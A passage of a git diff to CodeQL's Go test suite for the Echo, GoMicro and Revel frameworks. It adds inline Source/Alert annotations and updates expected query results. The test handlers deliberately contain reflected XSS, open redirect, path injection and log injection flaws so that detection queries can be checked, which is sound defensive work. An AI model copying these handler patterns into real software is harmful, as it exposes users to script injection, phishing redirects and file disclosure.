:= ctx.FormValue("someField") // $ Source[go/reflected-xss] + ctx.HTML(200, val) // $ Alert[go/reflected-xss] return nil } func testFormParams(ctx echo.Context) error { - params, _ := ctx.FormParams() - ctx.HTML(200, params["someField"][0]) + params, _ := ctx.FormParams() // $ Source[go/reflected-xss] + ctx.HTML(200, params["someField"][0]) // $ Alert[go/reflected-xss] return nil } func testFormFile(ctx echo.Context) error { - fileHeader, _ := ctx.FormFile("someFilename") + fileHeader, _ := ctx.FormFile("someFilename") // $ Source[go/reflected-xss] file, _ := fileHeader.Open() buffer := make([]byte, 100) file.Read(buffer) - ctx.HTMLBlob(200, buffer) + ctx.HTMLBlob(200, buffer) // $ Alert[go/reflected-xss] return nil } func testMultipartFormValue(ctx echo.Context) error { - form, _ := ctx.MultipartForm() - ctx.HTML(200, form.Value["someField"][0]) + form, _ := ctx.MultipartForm() // $ Source[go/reflected-xss] + ctx.HTML(200, form.Value["someField"][0]) // $ Alert[go/reflected-xss] return nil } func testMultipartFormFile(ctx echo.Context) error { - form, _ := ctx.MultipartForm() + form, _ := ctx.MultipartForm() // $ Source[go/reflected-xss] fileHeader := form.File["someFilename"][0] file, _ := fileHeader.Open() buffer := make([]byte, 100) file.Read(buffer) - ctx.HTMLBlob(200, buffer) + ctx.HTMLBlob(200, buffer) // $ Alert[go/reflected-xss] return nil } func testCookie(ctx echo.Context) error { - val, _ := ctx.Cookie("someKey") - ctx.HTML(200, val.Value) + val, _ := ctx.Cookie("someKey") // $ Source[go/reflected-xss] + ctx.HTML(200, val.Value) // $ Alert[go/reflected-xss] return nil } func testCookies(ctx echo.Context) error { - cookies := ctx.Cookies() - ctx.HTML(200, cookies[0].Value) + cookies := ctx.Cookies() // $ Source[go/reflected-xss] + ctx.HTML(200, cookies[0].Value) // $ Alert[go/reflected-xss] return nil } @@ -96,8 +96,8 @@ type myStruct struct { func testBind(ctx echo.Context) error { data := myStruct{} - ctx.Bind(&data) - ctx.HTML(200, data.s) + ctx.Bind(&data) // $ Source[go/reflected-xss] + ctx.HTML(200, data.s) // $ Alert[go/reflected-xss] return nil } @@ -110,8 +110,8 @@ func testGetSetEmpty(ctx echo.Context) error { } func testGetSet(ctx echo.Context) error { - ctx.Set("someKey", ctx.Param("someParam")) - ctx.HTML(200, ctx.Get("someKey").(string)) // BAD, the context is tainted + ctx.Set("someKey", ctx.Param("someParam")) // $ Source[go/reflected-xss] + ctx.HTML(200, ctx.Get("someKey").(string)) // $ Alert[go/reflected-xss] // BAD, the context is tainted return nil } @@ -121,20 +121,20 @@ func testGetSet(ctx echo.Context) error { // All are XSS vulnerabilities, except as specifically noted. func testHTML(ctx echo.Context) error { - param := ctx.Param("someParam") - ctx.HTML(200, param) + param := ctx.Param("someParam") // $ Source[go/reflected-xss] + ctx.HTML(200, param) // $ Alert[go/reflected-xss] return nil } func testHTMLBlob(ctx echo.Context) error { - param := ctx.Param("someParam") - ctx.HTMLBlob(200, []byte(param)) + param := ctx.Param("someParam") // $ Source[go/reflected-xss] + ctx.HTMLBlob(200, []byte(param)) // $ Alert[go/reflected-xss] return nil } func testBlob(ctx echo.Context) error { - param := ctx.Param("someParam") - ctx.Blob(200, "text/html", []byte(param)) // BAD, the content-type is HTML + param := ctx.Param("someParam") // $ Source[go/reflected-xss] + ctx.Blob(200, "text/html", []byte(param)) // $ Alert[go/reflected-xss] // BAD, the content-type is HTML return nil } @@ -145,9 +145,9 @@ func testBlobSafe(ctx echo.Context) error { } func testStream(ctx echo.Context) error { - param := ctx.Param("someParam") + param := ctx.Param("someParam") // $ Source[go/reflected-xss] reader := strings.NewReader(param) - ctx.Stream(200, "text/html", reader) // BAD, the content-type is HTML + ctx.Stream(200, "text/html", reader) // $ Alert[go/reflected-xss] // BAD, the content-type is HTML return nil } @@ -161,28 +161,28 @@ func testStreamSafe(ctx echo.Context) error { // Section: testing output methods defined on Response (XSS vulnerability) func testResponseWrite(ctx echo.Context) error { - param := ctx.Param("someParam") - ctx.Response().Write([]byte(param)) + param := ctx.Param("someParam") // $ Source[go/reflected-xss] + ctx.Response().Write([]byte(param)) // $ Alert[go/reflected-xss] return nil } // Section: test detecting an open redirect using the Context.Redirect function: func testRedirect(ctx echo.Context) error { - param := ctx.Param("someParam") - ctx.Redirect(301, param) + param := ctx.Param("someParam") // $ Source[go/unvalidated-url-redirection] + ctx.Redirect(301, param) // $ Alert[go/unvalidated-url-redirection] return nil } func testLocalRedirects(ctx echo.Context) error { - param := ctx.Param("someParam") + param := ctx.Param("someParam") // $ Source[go/unvalidated-url-redirection] param2 := param param3 := param // Gratuitous copy because sanitization of uses propagates to subsequent uses // GOOD: local redirects are unproblematic ctx.Redirect(301, "/local"+param) // BAD: this could be a non-local redirect - ctx.Redirect(301, "/"+param2) + ctx.Redirect(301, "/"+param2) // $ Alert[go/unvalidated-url-redirection] // GOOD: localhost redirects are unproblematic ctx.Redirect(301, "//localhost/"+param3) return nil @@ -221,12 +221,12 @@ func testNonExploitableFields(ctx echo.Context) error { func fsOpsTest() { e := echo.New() e.GET("/", func(c echo.Context) error { - filepath := c.QueryParam("filePath") - return c.File(filepath) // $ FileSystemAccess=filepath + filepath := c.QueryParam("filePath") // $ Source[go/path-injection] + return c.File(filepath) // $ FileSystemAccess=filepath Alert[go/path-injection] }) e.GET("/attachment", func(c echo.Context) error { - filepath := c.QueryParam("filePath") - return c.Attachment(filepath, "file name in response") // $ FileSystemAccess=filepath + filepath := c.QueryParam("filePath") // $ Source[go/path-injection] + return c.Attachment(filepath, "file name in response") // $ FileSystemAccess=filepath Alert[go/path-injection] }) _ = e.Start(":1323") } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.expected b/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.expected index 703066d6449..4ec65220a52 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.expected +++ b/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.expected @@ -1,8 +1,8 @@ +#select +| main.go:21:28:21:31 | name | main.go:18:46:18:48 | definition of req | main.go:21:28:21:31 | name | This log entry depends on a $@. | main.go:18:46:18:48 | definition of req | user-provided value | edges | main.go:18:46:18:48 | definition of req | main.go:21:28:21:31 | name | provenance | | nodes | main.go:18:46:18:48 | definition of req | semmle.label | definition of req | | main.go:21:28:21:31 | name | semmle.label | name | subpaths -#select -| main.go:21:28:21:31 | name | main.go:18:46:18:48 | definition of req | main.go:21:28:21:31 | name | This log entry depends on a $@. | main.go:18:46:18:48 | definition of req | user-provided value | diff --git a/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.qlref b/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.qlref index 1837c628c33..fc8a61c453d 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/LogInjection.qlref @@ -1 +1,2 @@ -Security/CWE-117/LogInjection.ql +query: Security/CWE-117/LogInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/main.go b/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/main.go index 3eaacef9822..5acaded1e7a 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/main.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/GoMicro/main.go @@ -15,10 +15,10 @@ import ( type Greeter struct{} -func (g *Greeter) Hello(ctx context.Context, req *pb.Request, rsp *pb.Response) error { // $ serverRequest="definition of req" +func (g *Greeter) Hello(ctx context.Context, req *pb.Request, rsp *pb.Response) error { // $ serverRequest="definition of req" Source // var access name := req.Name - fmt.Println("Name :: %s", name) + fmt.Println("Name :: %s", name) // $ Alert return nil } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/CONSISTENCY/DataFlowConsistency.expected b/go/ql/test/library-tests/semmle/go/frameworks/Revel/CONSISTENCY/DataFlowConsistency.expected index 0fd726cd886..999379f9298 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/CONSISTENCY/DataFlowConsistency.expected +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/CONSISTENCY/DataFlowConsistency.expected @@ -1,28 +1,28 @@ reverseRead -| EndToEnd.go:30:35:30:35 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:30:35:30:42 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:36:18:36:18 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:36:18:36:25 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:44:18:44:18 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:44:18:44:25 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:51:20:51:20 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:51:20:51:27 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:58:18:58:18 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:58:18:58:25 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:64:26:64:26 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:64:26:64:33 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:69:22:69:22 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:69:22:69:29 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:74:22:74:22 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:74:22:74:29 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:79:35:79:35 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:79:35:79:42 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:84:22:84:22 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:84:22:84:29 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:89:21:89:21 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:89:21:89:28 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:94:20:94:20 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | -| EndToEnd.go:94:20:94:27 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:31:35:31:35 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:31:35:31:42 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:37:18:37:18 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:37:18:37:25 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:45:18:45:18 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:45:18:45:25 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:52:20:52:20 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:52:20:52:27 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:59:18:59:18 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:59:18:59:25 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:65:26:65:26 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:65:26:65:33 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:70:22:70:22 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:70:22:70:29 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:75:22:75:22 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:75:22:75:29 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:80:35:80:35 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:80:35:80:42 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:85:22:85:22 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:85:22:85:29 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:90:21:90:21 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:90:21:90:28 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:95:20:95:20 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | +| EndToEnd.go:95:20:95:27 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | | Revel.go:26:7:26:7 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | | Revel.go:27:7:27:7 | implicit read of field Controller | Origin of readStep is missing a PostUpdateNode. | | Revel.go:27:7:27:14 | implicit dereference | Origin of readStep is missing a PostUpdateNode. | diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/EndToEnd.go b/go/ql/test/library-tests/semmle/go/frameworks/Revel/EndToEnd.go index 69fc2c52c4a..0e60981e13d 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/EndToEnd.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/EndToEnd.go @@ -3,10 +3,11 @@ package main import ( "bytes" "errors" - staticControllers "github.com/revel/modules/static/app/controllers" - "github.com/revel/revel" "os" "time" + + staticControllers "github.com/revel/modules/static/app/controllers" + "github.com/revel/revel" ) // Use typical inheritence pattern, per github.com/revel/examples/booking: @@ -33,8 +34,8 @@ func (c MyRoute) Handler1() revel.Result { func (c MyRoute) Handler2() revel.Result { // BAD: the RenderBinary function copies an `io.Reader` to the user's browser. buf := &bytes.Buffer{} - buf.WriteString(c.Params.Form.Get("someField")) - return c.RenderBinary(buf, "index.html", revel.Inline, time.Now()) // $ responsebody='buf' + buf.WriteString(c.Params.Form.Get("someField")) // $ Source[go/reflected-xss] + return c.RenderBinary(buf, "index.html", revel.Inline, time.Now()) // $ responsebody='buf' Alert[go/reflected-xss] } func (c MyRoute) Handler3() revel.Result { @@ -55,18 +56,18 @@ func (c MyRoute) Handler4() revel.Result { func (c MyRoute) Handler5() revel.Result { // BAD: returning an arbitrary file (but this is detected at the os.Open call, not // due to modelling Revel) - f, _ := os.Open(c.Params.Form.Get("someField")) + f, _ := os.Open(c.Params.Form.Get("someField")) // $ Alert[go/path-injection] return c.RenderFile(f, revel.Inline) } func (c MyRoute) Handler6() revel.Result { // BAD: returning an arbitrary file (detected as a user-controlled file-op, not XSS) - return c.RenderFileName(c.Params.Form.Get("someField"), revel.Inline) + return c.RenderFileName(c.Params.Form.Get("someField"), revel.Inline) // $ Alert[go/path-injection] } func (c MyRoute) Handler7() revel.Result { // BAD: straightforward XSS - return c.RenderHTML(c.Params.Form.Get("someField")) // $ responsebody='call to Get' + return c.RenderHTML(c.Params.Form.Get("someField")) // $ responsebody='call to Get' Alert[go/reflected-xss] } func (c MyRoute) Handler8() revel.Result { @@ -91,5 +92,5 @@ func (c MyRoute) Handler11() revel.Result { func (c MyRoute) Handler12() revel.Result { // BAD: open redirect - return c.Redirect(c.Params.Form.Get("someField")) + return c.Redirect(c.Params.Form.Get("someField")) // $ Alert[go/unvalidated-url-redirection] } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.expected b/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.expected index d3f52f4f9c6..3c889cd177c 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.expected +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.expected @@ -1,19 +1,19 @@ #select -| EndToEnd.go:94:20:94:49 | call to Get | EndToEnd.go:94:20:94:27 | selection of Params | EndToEnd.go:94:20:94:49 | call to Get | This path to an untrusted URL redirection depends on a $@. | EndToEnd.go:94:20:94:27 | selection of Params | user-provided value | +| EndToEnd.go:95:20:95:49 | call to Get | EndToEnd.go:95:20:95:27 | selection of Params | EndToEnd.go:95:20:95:49 | call to Get | This path to an untrusted URL redirection depends on a $@. | EndToEnd.go:95:20:95:27 | selection of Params | user-provided value | edges -| EndToEnd.go:94:20:94:27 | implicit dereference | EndToEnd.go:94:20:94:27 | selection of Params [postupdate] | provenance | Config | -| EndToEnd.go:94:20:94:27 | implicit dereference | EndToEnd.go:94:20:94:32 | selection of Form | provenance | Config | -| EndToEnd.go:94:20:94:27 | selection of Params | EndToEnd.go:94:20:94:27 | implicit dereference | provenance | Src:MaD:2 Config | -| EndToEnd.go:94:20:94:27 | selection of Params | EndToEnd.go:94:20:94:32 | selection of Form | provenance | Src:MaD:2 Config | -| EndToEnd.go:94:20:94:27 | selection of Params [postupdate] | EndToEnd.go:94:20:94:27 | implicit dereference | provenance | Config | -| EndToEnd.go:94:20:94:32 | selection of Form | EndToEnd.go:94:20:94:49 | call to Get | provenance | Config Sink:MaD:1 | +| EndToEnd.go:95:20:95:27 | implicit dereference | EndToEnd.go:95:20:95:27 | selection of Params [postupdate] | provenance | Config | +| EndToEnd.go:95:20:95:27 | implicit dereference | EndToEnd.go:95:20:95:32 | selection of Form | provenance | Config | +| EndToEnd.go:95:20:95:27 | selection of Params | EndToEnd.go:95:20:95:27 | implicit dereference | provenance | Src:MaD:2 Config | +| EndToEnd.go:95:20:95:27 | selection of Params | EndToEnd.go:95:20:95:32 | selection of Form | provenance | Src:MaD:2 Config | +| EndToEnd.go:95:20:95:27 | selection of Params [postupdate] | EndToEnd.go:95:20:95:27 | implicit dereference | provenance | Config | +| EndToEnd.go:95:20:95:32 | selection of Form | EndToEnd.go:95:20:95:49 | call to Get | provenance | Config Sink:MaD:1 | models | 1 | Sink: group:revel; Controller; true; Redirect; ; ; Argument[0]; url-redirection; manual | | 2 | Source: group:revel; Controller; true; Params; ; ; ; remote; manual | nodes -| EndToEnd.go:94:20:94:27 | implicit dereference | semmle.label | implicit dereference | -| EndToEnd.go:94:20:94:27 | selection of Params | semmle.label | selection of Params | -| EndToEnd.go:94:20:94:27 | selection of Params [postupdate] | semmle.label | selection of Params [postupdate] | -| EndToEnd.go:94:20:94:32 | selection of Form | semmle.label | selection of Form | -| EndToEnd.go:94:20:94:49 | call to Get | semmle.label | call to Get | +| EndToEnd.go:95:20:95:27 | implicit dereference | semmle.label | implicit dereference | +| EndToEnd.go:95:20:95:27 | selection of Params | semmle.label | selection of Params | +| EndToEnd.go:95:20:95:27 | selection of Params [postupdate] | semmle.label | selection of Params [postupdate] | +| EndToEnd.go:95:20:95:32 | selection of Form | semmle.label | selection of Form | +| EndToEnd.go:95:20:95:49 | call to Get | semmle.label | call to Get | subpaths diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.qlref index 867dd766561..13add930f51 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/OpenRedirect.qlref @@ -1,2 +1,4 @@ query: Security/CWE-601/OpenUrlRedirect.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.expected b/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.expected index 9ea4016a7e4..0de532aa186 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.expected +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.expected @@ -1,16 +1,16 @@ #select -| EndToEnd.go:37:24:37:26 | buf | EndToEnd.go:36:18:36:25 | selection of Params | EndToEnd.go:37:24:37:26 | buf | Cross-site scripting vulnerability due to $@. | EndToEnd.go:36:18:36:25 | selection of Params | user-provided value | EndToEnd.go:0:0:0:0 | EndToEnd.go | | -| EndToEnd.go:69:22:69:51 | call to Get | EndToEnd.go:69:22:69:29 | selection of Params | EndToEnd.go:69:22:69:51 | call to Get | Cross-site scripting vulnerability due to $@. | EndToEnd.go:69:22:69:29 | selection of Params | user-provided value | EndToEnd.go:0:0:0:0 | EndToEnd.go | | +| EndToEnd.go:38:24:38:26 | buf | EndToEnd.go:37:18:37:25 | selection of Params | EndToEnd.go:38:24:38:26 | buf | Cross-site scripting vulnerability due to $@. | EndToEnd.go:37:18:37:25 | selection of Params | user-provided value | EndToEnd.go:0:0:0:0 | EndToEnd.go | | +| EndToEnd.go:70:22:70:51 | call to Get | EndToEnd.go:70:22:70:29 | selection of Params | EndToEnd.go:70:22:70:51 | call to Get | Cross-site scripting vulnerability due to $@. | EndToEnd.go:70:22:70:29 | selection of Params | user-provided value | EndToEnd.go:0:0:0:0 | EndToEnd.go | | | Revel.go:70:22:70:35 | selection of Query | Revel.go:70:22:70:29 | selection of Params | Revel.go:70:22:70:35 | selection of Query | Cross-site scripting vulnerability due to $@. The value is $@. | Revel.go:70:22:70:29 | selection of Params | user-provided value | views/myAppController/rawRead.html:1:1:2:9 | {{raw .Foo}}\n{{.Bar}}\n | instantiated as a raw template | | examples/booking/app/init.go:36:44:36:53 | selection of Path | examples/booking/app/init.go:36:44:36:48 | selection of URL | examples/booking/app/init.go:36:44:36:53 | selection of Path | Cross-site scripting vulnerability due to $@. | examples/booking/app/init.go:36:44:36:48 | selection of URL | user-provided value | examples/booking/app/init.go:0:0:0:0 | examples/booking/app/init.go | | | examples/booking/app/init.go:40:49:40:58 | selection of Path | examples/booking/app/init.go:40:49:40:53 | selection of URL | examples/booking/app/init.go:40:49:40:58 | selection of Path | Cross-site scripting vulnerability due to $@. | examples/booking/app/init.go:40:49:40:53 | selection of URL | user-provided value | examples/booking/app/init.go:0:0:0:0 | examples/booking/app/init.go | | edges -| EndToEnd.go:36:2:36:4 | buf [postupdate] | EndToEnd.go:37:24:37:26 | buf | provenance | | -| EndToEnd.go:36:18:36:25 | selection of Params | EndToEnd.go:36:18:36:30 | selection of Form | provenance | Src:MaD:1 | -| EndToEnd.go:36:18:36:30 | selection of Form | EndToEnd.go:36:18:36:47 | call to Get | provenance | MaD:4 | -| EndToEnd.go:36:18:36:47 | call to Get | EndToEnd.go:36:2:36:4 | buf [postupdate] | provenance | MaD:3 | -| EndToEnd.go:69:22:69:29 | selection of Params | EndToEnd.go:69:22:69:34 | selection of Form | provenance | Src:MaD:1 | -| EndToEnd.go:69:22:69:34 | selection of Form | EndToEnd.go:69:22:69:51 | call to Get | provenance | MaD:4 | +| EndToEnd.go:37:2:37:4 | buf [postupdate] | EndToEnd.go:38:24:38:26 | buf | provenance | | +| EndToEnd.go:37:18:37:25 | selection of Params | EndToEnd.go:37:18:37:30 | selection of Form | provenance | Src:MaD:1 | +| EndToEnd.go:37:18:37:30 | selection of Form | EndToEnd.go:37:18:37:47 | call to Get | provenance | MaD:4 | +| EndToEnd.go:37:18:37:47 | call to Get | EndToEnd.go:37:2:37:4 | buf [postupdate] | provenance | MaD:3 | +| EndToEnd.go:70:22:70:29 | selection of Params | EndToEnd.go:70:22:70:34 | selection of Form | provenance | Src:MaD:1 | +| EndToEnd.go:70:22:70:34 | selection of Form | EndToEnd.go:70:22:70:51 | call to Get | provenance | MaD:4 | | Revel.go:70:22:70:29 | selection of Params | Revel.go:70:22:70:35 | selection of Query | provenance | Src:MaD:1 | | examples/booking/app/init.go:36:44:36:48 | selection of URL | examples/booking/app/init.go:36:44:36:53 | selection of Path | provenance | Src:MaD:2 | | examples/booking/app/init.go:40:49:40:53 | selection of URL | examples/booking/app/init.go:40:49:40:58 | selection of Path | provenance | Src:MaD:2 | @@ -20,14 +20,14 @@ models | 3 | Summary: io; StringWriter; true; WriteString; ; ; Argument[0]; Argument[receiver]; taint; manual | | 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | nodes -| EndToEnd.go:36:2:36:4 | buf [postupdate] | semmle.label | buf [postupdate] | -| EndToEnd.go:36:18:36:25 | selection of Params | semmle.label | selection of Params | -| EndToEnd.go:36:18:36:30 | selection of Form | semmle.label | selection of Form | -| EndToEnd.go:36:18:36:47 | call to Get | semmle.label | call to Get | -| EndToEnd.go:37:24:37:26 | buf | semmle.label | buf | -| EndToEnd.go:69:22:69:29 | selection of Params | semmle.label | selection of Params | -| EndToEnd.go:69:22:69:34 | selection of Form | semmle.label | selection of Form | -| EndToEnd.go:69:22:69:51 | call to Get | semmle.label | call to Get | +| EndToEnd.go:37:2:37:4 | buf [postupdate] | semmle.label | buf [postupdate] | +| EndToEnd.go:37:18:37:25 | selection of Params | semmle.label | selection of Params | +| EndToEnd.go:37:18:37:30 | selection of Form | semmle.label | selection of Form | +| EndToEnd.go:37:18:37:47 | call to Get | semmle.label | call to Get | +| EndToEnd.go:38:24:38:26 | buf | semmle.label | buf | +| EndToEnd.go:70:22:70:29 | selection of Params | semmle.label | selection of Params | +| EndToEnd.go:70:22:70:34 | selection of Form | semmle.label | selection of Form | +| EndToEnd.go:70:22:70:51 | call to Get | semmle.label | call to Get | | Revel.go:70:22:70:29 | selection of Params | semmle.label | selection of Params | | Revel.go:70:22:70:35 | selection of Query | semmle.label | selection of Query | | examples/booking/app/init.go:36:44:36:48 | selection of URL | semmle.label | selection of URL | diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.qlref index 754513d72bb..e6b791f39fc 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/Revel.go b/go/ql/test/library-tests/semmle/go/frameworks/Revel/Revel.go index f09dcd6fa58..219e1dddb4c 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/Revel.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/Revel.go @@ -67,7 +67,7 @@ func (c myAppController) accessingParamsJSONIsUnsafe() { func (c myAppController) rawRead() { // $ responsebody='argument corresponding to c' c.ViewArgs["Foo"] = "

    raw HTML

    " // $ responsebody='"

    raw HTML

    "' c.ViewArgs["Bar"] = "

    not raw HTML

    " - c.ViewArgs["Foo"] = c.Params.Query // $ responsebody='selection of Query' + c.ViewArgs["Foo"] = c.Params.Query // $ responsebody='selection of Query' Alert[go/reflected-xss] c.Render() } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.expected b/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.expected index 7337f636c47..e007da1c95d 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.expected +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.expected @@ -1,21 +1,21 @@ #select -| EndToEnd.go:58:18:58:47 | call to Get | EndToEnd.go:58:18:58:25 | selection of Params | EndToEnd.go:58:18:58:47 | call to Get | This path depends on a $@. | EndToEnd.go:58:18:58:25 | selection of Params | user-provided value | -| EndToEnd.go:64:26:64:55 | call to Get | EndToEnd.go:64:26:64:33 | selection of Params | EndToEnd.go:64:26:64:55 | call to Get | This path depends on a $@. | EndToEnd.go:64:26:64:33 | selection of Params | user-provided value | +| EndToEnd.go:59:18:59:47 | call to Get | EndToEnd.go:59:18:59:25 | selection of Params | EndToEnd.go:59:18:59:47 | call to Get | This path depends on a $@. | EndToEnd.go:59:18:59:25 | selection of Params | user-provided value | +| EndToEnd.go:65:26:65:55 | call to Get | EndToEnd.go:65:26:65:33 | selection of Params | EndToEnd.go:65:26:65:55 | call to Get | This path depends on a $@. | EndToEnd.go:65:26:65:33 | selection of Params | user-provided value | edges -| EndToEnd.go:58:18:58:25 | selection of Params | EndToEnd.go:58:18:58:30 | selection of Form | provenance | Src:MaD:3 | -| EndToEnd.go:58:18:58:30 | selection of Form | EndToEnd.go:58:18:58:47 | call to Get | provenance | MaD:4 Sink:MaD:2 | -| EndToEnd.go:64:26:64:33 | selection of Params | EndToEnd.go:64:26:64:38 | selection of Form | provenance | Src:MaD:3 | -| EndToEnd.go:64:26:64:38 | selection of Form | EndToEnd.go:64:26:64:55 | call to Get | provenance | MaD:4 Sink:MaD:1 | +| EndToEnd.go:59:18:59:25 | selection of Params | EndToEnd.go:59:18:59:30 | selection of Form | provenance | Src:MaD:3 | +| EndToEnd.go:59:18:59:30 | selection of Form | EndToEnd.go:59:18:59:47 | call to Get | provenance | MaD:4 Sink:MaD:2 | +| EndToEnd.go:65:26:65:33 | selection of Params | EndToEnd.go:65:26:65:38 | selection of Form | provenance | Src:MaD:3 | +| EndToEnd.go:65:26:65:38 | selection of Form | EndToEnd.go:65:26:65:55 | call to Get | provenance | MaD:4 Sink:MaD:1 | models | 1 | Sink: group:revel; Controller; true; RenderFileName; ; ; Argument[0]; path-injection; manual | | 2 | Sink: os; ; false; Open; ; ; Argument[0]; path-injection; manual | | 3 | Source: group:revel; Controller; true; Params; ; ; ; remote; manual | | 4 | Summary: net/url; Values; true; Get; 